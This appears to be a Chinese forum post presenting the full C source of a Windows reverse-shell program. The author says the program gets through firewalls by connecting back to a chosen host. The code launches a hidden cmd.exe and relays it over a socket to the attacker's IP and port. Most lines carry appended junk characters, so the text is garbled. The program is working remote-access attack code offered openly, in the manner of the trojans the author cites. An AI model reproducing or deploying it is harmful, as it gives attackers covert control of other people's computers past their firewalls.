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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q#%LIkeq  
b$'%)\('g  
/* ============================== 5;XC!Gz  
Rebound port in Windows NT %$&eC  
By wind,2006/7 ?ES{t4"  
===============================*/  vc: kY  
#include eQ'E`S_d  
#include >Lcu  
k{f1q>gd  
#pragma comment(lib,"wsock32.lib") f! +d*9  
fz|*Plv  
void OutputShell(); D9g*+KM&  
SOCKET sClient; `:iMGq ZN  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dEDhdF#f  
U<=TAWZ@  
void main(int argc,char **argv) gveGBi  
{ Nf4@m|#  
WSADATA stWsaData; 791v>h    
int nRet; I%4eX0QY=z  
SOCKADDR_IN stSaiClient,stSaiServer; dcrvEc_/  
=#2%[kGq  
if(argc != 3) lz`\Q6rZ  
{ &- p(3$jn7  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9BakxmAc  
return; ,O:4[M!$w  
} W>' DQB  
XI Mh<  
WSAStartup(MAKEWORD(2,2),&stWsaData); @lzq`SzM  
eYv^cbO@:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tcy9oYh!Pn  
3mo<O}}  
stSaiClient.sin_family = AF_INET; w?D=  
stSaiClient.sin_port = htons(0); PlCw,=K8f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ls2,+yo]>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eV_ ",W  
{ MTwzL<@$  
printf("Bind Socket Failed!\n"); b|87=1^m[  
return; 9+(b7L   
} HHx5 VI  
]fY:+Ru  
stSaiServer.sin_family = AF_INET; :LuA6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); # 9bw'm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CM~x1f*v  
f:8!@,I  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -qSGa;PJ  
{ @[D5{v)S  
printf("Connect Error!"); C,ldi"|  
return; lGet)/w;c  
} ZW))Mx#K=T  
OutputShell(); E7$ aT^  
} *vNAm(\N  
WDnNVE  
void OutputShell() &x (D%+  
{ un\o&0}  
char szBuff[1024]; ^d>m`*px  
SECURITY_ATTRIBUTES stSecurityAttributes; $m)eO8S+  
OSVERSIONINFO stOsversionInfo; .&u @-Vm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^Cp;#|g,  
STARTUPINFO stStartupInfo; o JVdFE  
char *szShell; c @lF*"4  
PROCESS_INFORMATION stProcessInformation; &xr(Kb  
unsigned long lBytesRead; )l*3^kwL{U  
tv-SX=T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .D7Gog3^<  
#}6~>A  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P=_W{6  
stSecurityAttributes.lpSecurityDescriptor = 0; rXSw@pqZ&  
stSecurityAttributes.bInheritHandle = TRUE; hB 'rkjt  
k'v+/6 Y  
C^?/9\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jz3f{~   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5> 81Vhc,  
Z%sTj6Th  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nF-l4=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k(`>(w  
stStartupInfo.wShowWindow = SW_HIDE; e0C_ NFS+  
stStartupInfo.hStdInput = hReadPipe; \]F Pv7!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VaonG]Ues  
;Zf7|i`R3  
GetVersionEx(&stOsversionInfo); <'T DOYb  
V%*91t_  
switch(stOsversionInfo.dwPlatformId) :MYLap&L&  
{  zW?=^bE  
case 1: ~- aUw}U  
szShell = "command.com"; }w=|"a|,  
break; a'q&[08  
default: {h|kx/4{m  
szShell = "cmd.exe"; Ct(^nn$A  
break; RSe av  
} = g%<xCp  
8&hxU@T~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AO-~dV  
9G1ZW=83  
send(sClient,szMsg,77,0); P(\x. d:  
while(1) '0Q/oU  
{ F.Bij8\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }L`Z<h*H  
if(lBytesRead) X&Ospl@H  
{ <UIE-#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >y!R}`&0^t  
send(sClient,szBuff,lBytesRead,0); >TGc0 z+  
} )eX{a/Be  
else xxgdp. (  
{ 5HB*  
lBytesRead=recv(sClient,szBuff,1024,0); 5rtE/ {A  
if(lBytesRead<=0) break; RdjoVCf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \+ Ese-la  
} |]HA@7B  
} xyV7MW\?w  
xNJ*TA[+  
return; Ea[SS@'R  
}
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